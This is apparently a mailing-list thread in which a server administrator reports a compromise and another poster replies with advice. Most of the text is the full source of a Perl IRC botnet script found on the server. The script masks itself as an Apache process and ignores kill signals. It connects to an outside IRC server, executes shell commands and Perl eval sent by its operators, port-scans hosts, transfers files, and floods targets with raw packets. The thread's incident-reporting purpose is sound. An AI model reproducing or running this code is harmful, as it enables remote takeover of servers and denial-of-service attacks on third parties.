$0="$processo"."\0"x16;; It changes the name of the program.
Translation:
my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
pt # Nome do processo que vai aparece no ps
en # Process name show in ps
Someone is playing in your machine. :p Take a picture of your system before reinstall it, maybe to anylise how he get in and what else he has done and update with the last patch's.
Andrew Y Ng wrote:
My server has been seeing some usual activities today, I don't have much time
to get down to the bottom of things, but after I investigated briefly I have
decided to disable PERL executable permission for www-data (Apache process's
user), also locked /var/tmp so www-data cannot write to it.
Looks like it ignores all the `kill` signals, not sure how I can actually kill it...
I found the included script in /var/tmp called d0s.txt.
I found a bunch of processes called ./atac 20 running, and found the following content in /tmp/atac:
http://andrewng.com/tmp/atac.tbz
here's d0s.txt:
#!/usr/bin/perl
################ CONFIGURACAO #################################################################
my $processo = '/usr/local/apache/bin/httpd -DSSL'; # Nome do processo que vai aparece no ps #
#----------------------------------------------################################################
my $MODOME='+pi'; # Modo Do Bot # #----------------------------------------------################################################
my $linas_max='10'; # Evita o flood :) depois de X linhas #
#----------------------------------------------################################################
my $sleep='3'; # ele dorme X segundos #
##################### IRC #####################################################################
my @adms=("DDOS"); # Nick do administrador #
#----------------------------------------------################################################
my @canais=("#bots ddos");# Canais #
#----------------------------------------------################################################
my $nick='b0t'; # Nick do bot. Caso esteja em uso vai aparecer #
# # aparecer com numero radonamico no final #
#----------------------------------------------################################################
my $ircname = 'b0t'; # User ID #
#----------------------------------------------################################################
my $realname = '4Admin14: 4 # DDOS'; #
#----------------------------------------------################################################
$servidor='irc.gigachat.net' unless $servidor; # Servidor de irc que vai ser usado #
# # caso nïo seja especificado no argumento #
#----------------------------------------------################################################
my $porta='6667'; # Porta do servidor de irc #
################ ACESSO A SHELL ###############################################################
my $secv = 1; # 1/0 pra habilita/desabilita acesso a shell #
###############################################################################################
my $VERSAO = '1.0';
$SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE';
use IO::Socket; use Socket; use IO::Select; chdir("/"); $servidor="$ARGV[0]" if $ARGV[0]; $0="$processo"."\0"x16;; my $pid=fork; exit if $pid; die "Problema com o fork: $!" unless defined($pid);
our %irc_servers; our %DCC; my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket "$_[1]\n"; } else { print $IRC_cur_socket "$_[0]\n"; } }
sub conectar { my $meunick = $_[0]; my $servidor_con = $_[1]; my $porta_con = $_[2];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1); $sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con"; $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con"; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost; nick("$meunick"); sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname"); sleep 1; }
} my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); } delete($irc_servers{''}) if (defined($irc_servers{''})); &DCC::connections; my @ready = $sel_cliente->can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $meunick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $msg, 4096); if ($nread == 0) { $sel_cliente->remove($fh); $fh->close; delete($irc_servers{$fh}); } @lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) { $line = $lines[$c]; $line=$line_temp.$line if ($line_temp); $line_temp=''; $line =~ s/\r$//; unless ($c == $#lines) { parse("$line"); } else { if ($#lines == 0) { parse("$line"); } elsif ($lines[$c] =~ /\r$/) { parse("$line"); } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { parse("$line"); } else { $line_temp = $line; } } } } }
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001Bot powered by DDOS TEAM\001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
}
if ($args =~ /^(\Q$meunick\E|\!bot)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
} }
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($meunick)) {
$meunick=$4; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$meunick".int rand(9999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$meunick = $2;
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
foreach my $canal (@canais) {
print "$0 Executado \n";
sendraw("JOIN $canal");
sendraw("MODE $meunick $MODOME");
sendraw("PRIVMSG $canal :Modo Alterado Para4 $MODOME");
}
}
}
sub bfunc { my $printl = $_[0]; my $funcarg = $_[1]; if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { if ($funcarg =~ /^portscan (.*)/) { my $hostip="$1"; my @portas=("21","22","23","25","53","80","110","143"); my (@aberta, %porta_banner); foreach my $porta (@portas) { my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4); if ($scansock) { push (@aberta, $porta); $scansock->close; } }
if (@aberta) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :portas abertas: @aberta");
} else {
sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada"); }
}
if ($funcarg =~ /^pacota\s+(.*)\s+(\d+)\s+(\d+)/) {
my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
$dtime = 1 if $dtime == 0;
my %bytes;
$bytes{igmp} = $2 * $pacotes{igmp};
$bytes{icmp} = $2 * $pacotes{icmp};
$bytes{o} = $2 * $pacotes{o};
$bytes{udp} = $2 * $pacotes{udp};
$bytes{tcp} = $2 * $pacotes{tcp};
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Mïdia de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
} exit; } } }
sub ircase { my ($kem, $printl, $case) = @_;
if ($case =~ /^join (.*)/) {
j("$1");
} if ($case =~ /^part (.*)/) {
p("$1");
}
if ($case =~ /^rejoin\s+(.*)/) {
my $chan = $1;
if ($chan =~ /^(\d+) (.*)/) {
for (my $ca = 1; $ca <= $1; $ca++ ) {
p("$2");
j("$2");
}
} else {
p("$chan");
j("$chan");
}
}
if ($case =~ /^op/) {
op("$printl", "$kem") if $case eq "op";
my $oarg = substr($case, 3);
op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^deop/) {
deop("$printl", "$kem") if $case eq "deop";
my $oarg = substr($case, 5);
deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^voice/) {
voice("$printl", "$kem") if $case eq "voice";
$oarg = substr($case, 6);
voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^devoice/) {
devoice("$printl", "$kem") if $case eq "devoice";
$oarg = substr($case, 8);
devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
}
if ($case =~ /^msg\s+(\S+) (.*)/) {
msg("$1", "$2");
}
if ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
msg("$2", "$3");
}
}
if ($case =~ /^ctcp\s+(\S+) (.*)/) {
ctcp("$1", "$2");
}
if ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
for (my $cf = 1; $cf <= $1; $cf++) {
ctcp("$2", "$3");
}
}
if ($case =~ /^invite\s+(\S+) (.*)/) {
invite("$1", "$2");
}
if ($case =~ /^nick (.*)/) {
nick("$1");
}
if ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
conectar("$2", "$1", 6667);
}
if ($case =~ /^send\s+(\S+)\s+(\S+)/) {
DCC::SEND("$1", "$2");
}
if ($case =~ /^raw (.*)/) {
sendraw("$1");
}
if ($case =~ /^eval (.*)/) {
eval "$1";
}
}
sub shell {
return unless $secv;
my $printl=$_[0];
my $comando=$_[1];
if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diertïrio inexistente!");
return;
} elsif ($pid = fork) {
waitpid($pid, 0);
} else {
if (fork) {
exit;
} else {
my @resp=`$comando 2>&1 3>&1`;
my $c=0;
foreach my $linha (@resp) {
$c++;
chop $linha;
sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
if ($c == "$linas_max") {
$c=0;
sleep $sleep;
}
}
exit;
}
}
}
#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
my $iaddr = inet_aton($_[0]);
my $msg = 'B' x $_[1];
my $ftime = $_[2];
my $cp = 0;
my (%pacotes);
$pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
return(undef) if $cp == 4;
my $itime = time;
my ($cur_time);
while ( 1 ) {
for (my $porta = 1; $porta <= 65000; $porta++) {
$cur_time = time - $itime;
last if $cur_time >= $ftime;
send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
# DoS ?? :P for (my $pc = 3; $pc <= 255;$pc++) { next if $pc == 6; $cur_time = time - $itime; last if $cur_time >= $ftime; socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;; } } last if $cur_time >= $ftime; } return($cur_time, %pacotes); }
############# # ALIASES # #############
sub action { return unless $#_ == 1; sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001"); }
sub ctcp {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
return unless $#_ == 1;
sendraw("PRIVMSG $_[0] :$_[1]");
}
sub notice { return unless $#_ == 1; sendraw("NOTICE $_[0] :$_[1]"); }
sub op { return unless $#_ == 1; sendraw("MODE $_[0] +o $_[1]"); } sub deop { return unless $#_ == 1; sendraw("MODE $_[0] -o $_[1]"); } sub hop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub dehop { return unless $#_ == 1; sendraw("MODE $_[0] +h $_[1]"); } sub voice { return unless $#_ == 1; sendraw("MODE $_[0] +v $_[1]"); } sub devoice { return unless $#_ == 1; sendraw("MODE $_[0] -v $_[1]"); } sub ban { return unless $#_ == 1; sendraw("MODE $_[0] +b $_[1]"); } sub unban { return unless $#_ == 1; sendraw("MODE $_[0] -b $_[1]"); } sub kick { return unless $#_ == 1; sendraw("KICK $_[0] $_[1] :$_[2]"); }
sub modo { return unless $#_ == 0; sendraw("MODE $_[0] $_[1]"); } sub mode { modo(@_); }
sub j { &join(@_); } sub join { return unless $#_ == 0; sendraw("JOIN $_[0]"); } sub p { part(@_); } sub part {sendraw("PART $_[0]");}
sub nick { return unless $#_ == 0; sendraw("NICK $_[0]"); }
sub invite { return unless $#_ == 1; sendraw("INVITE $_[1] $_[0]"); } sub topico { return unless $#_ == 1; sendraw("TOPIC $_[0] $_[1]"); } sub topic { topico(@_); }
sub whois { return unless $#_ == 0; sendraw("WHOIS $_[0]"); } sub who { return unless $#_ == 0; sendraw("WHO $_[0]"); } sub names { return unless $#_ == 0; sendraw("NAMES $_[0]"); } sub away { sendraw("AWAY $_[0]"); } sub back { away(); } sub quit { sendraw("QUIT :$_[0]"); }
# DCC package DCC;
sub connections { my @ready = $dcc_sel->can_read(1); # return unless (@ready); foreach my $fh (@ready) { my $dcctipo = $DCC{$fh}{tipo}; my $arquivo = $DCC{$fh}{arquivo}; my $bytes = $DCC{$fh}{bytes}; my $cur_byte = $DCC{$fh}{curbyte}; my $nick = $DCC{$fh}{nick};
my $msg; my $nread = sysread($fh, $msg, 10240);
if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) { $DCC{$fh}{status} = "Cancelado"; $DCC{$fh}{ftime} = time; $dcc_sel->remove($fh); $fh->close; next; }
if ($dcctipo eq "get") { $DCC{$fh}{curbyte} += length($msg);
my $cur_byte = $DCC{$fh}{curbyte};
open(FILE, ">> $arquivo"); print FILE "$msg" if ($cur_byte <= $bytes); close(FILE);
my $packbyte = pack("N", $cur_byte); print $fh "$packbyte";
if ($bytes == $cur_byte) { $dcc_sel->remove($fh); $fh->close; $DCC{$fh}{status} = "Recebido"; $DCC{$fh}{ftime} = time; next; } } elsif ($dcctipo eq "send") { my $send = $fh->accept; $send->autoflush(1); $dcc_sel->add($send); $dcc_sel->remove($fh); $DCC{$send}{tipo} = 'sendcon'; $DCC{$send}{itime} = time; $DCC{$send}{nick} = $nick; $DCC{$send}{bytes} = $bytes; $DCC{$send}{curbyte} = 0; $DCC{$send}{arquivo} = $arquivo; $DCC{$send}{ip} = $send->peerhost; $DCC{$send}{porta} = $send->peerport; $DCC{$send}{status} = "Enviando";
#de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon open(FILE, "< $arquivo"); my $fbytes; read(FILE, $fbytes, 1024); print $send "$fbytes"; close FILE; # delete($DCC{$fh}); } elsif ($dcctipo eq 'sendcon') { my $bytes_sended = unpack("N", $msg); $DCC{$fh}{curbyte} = $bytes_sended; if ($bytes_sended == $bytes) { $fh->close; $dcc_sel->remove($fh); $DCC{$fh}{status} = "Enviado"; $DCC{$fh}{ftime} = time; next; } open(SENDFILE, "< $arquivo"); seek(SENDFILE, $bytes_sended, 0); my $send_bytes; read(SENDFILE, $send_bytes, 1024); print $fh "$send_bytes"; close(SENDFILE); } } }
sub SEND { my ($nick, $arquivo) = @_; unless (-r "$arquivo") { return(0); }
my $dccark = $arquivo; $dccark =~ s/[.*\/](\S+)/$1/;
my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'}; my $longip = unpack("N",inet_aton($meuip));
my @filestat = stat($arquivo); my $size_total=$filestat[7]; if ($size_total == 0) { return(0); }
my ($porta, $sendsock); do { $porta = int rand(64511); $porta += 1024; $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock); } until $sendsock;
$DCC{$sendsock}{tipo} = 'send'; $DCC{$sendsock}{nick} = $nick; $DCC{$sendsock}{bytes} = $size_total; $DCC{$sendsock}{arquivo} = $arquivo;
&::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");
}
sub GET {
my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
return(0) if (-e "$arquivo");
if (open(FILE, "> $arquivo")) {
close FILE;
} else { return(0); }
my $dccip=fixaddr($dcclongip); return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1); my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0); $dccsock->autoflush(1); $dcc_sel->add($dccsock); $DCC{$dccsock}{tipo} = 'get'; $DCC{$dccsock}{itime} = time; $DCC{$dccsock}{nick} = $nick; $DCC{$dccsock}{bytes} = $bytes; $DCC{$dccsock}{curbyte} = 0; $DCC{$dccsock}{arquivo} = $arquivo; $DCC{$dccsock}{ip} = $dccip; $DCC{$dccsock}{porta} = $dccporta; $DCC{$dccsock}{status} = "Recebendo"; }
# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas sub Status { my $socket = shift; my $sock_tipo = $DCC{$socket}{tipo}; unless (lc($sock_tipo) eq "chat") { my $nick = $DCC{$socket}{nick}; my $arquivo = $DCC{$socket}{arquivo}; my $itime = $DCC{$socket}{itime}; my $ftime = time; my $status = $DCC{$socket}{status}; $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});
my $d_time = $ftime-$itime;
my $cur_byte = $DCC{$socket}{curbyte}; my $bytes_total = $DCC{$socket}{bytes};
my $rate = 0; $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0; my $porcen = ($cur_byte*100)/$bytes_total;
my ($r_duv, $p_duv); if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) { $r_duv = $3; $r_duv++ if $4 >= 5; $rate = "$1\.$2"."$r_duv"; } if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) { $p_duv = $3; $p_duv++ if $4 >= 5; $porcen = "$1\.$2"."$p_duv"; } return("$sock_tipo","$status","$nick","$arquivo","$bytes_total", "$cur_byte","$d_time", "$rate", "$porcen"); }
return(0); }
sub fixaddr { my ($address) = @_;
chomp $address; # just in case, sigh.
if ($address =~ /^\d+$/) {
return inet_ntoa(pack "N", $address);
} elsif ($address =~ /^[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}\.[12]?\d{1,2}$/) {
return $address;
} elsif ($address =~ tr/a-zA-Z//) { return inet_ntoa(((gethostbyname($address))[4])[0]);
} else {
return;
}
}
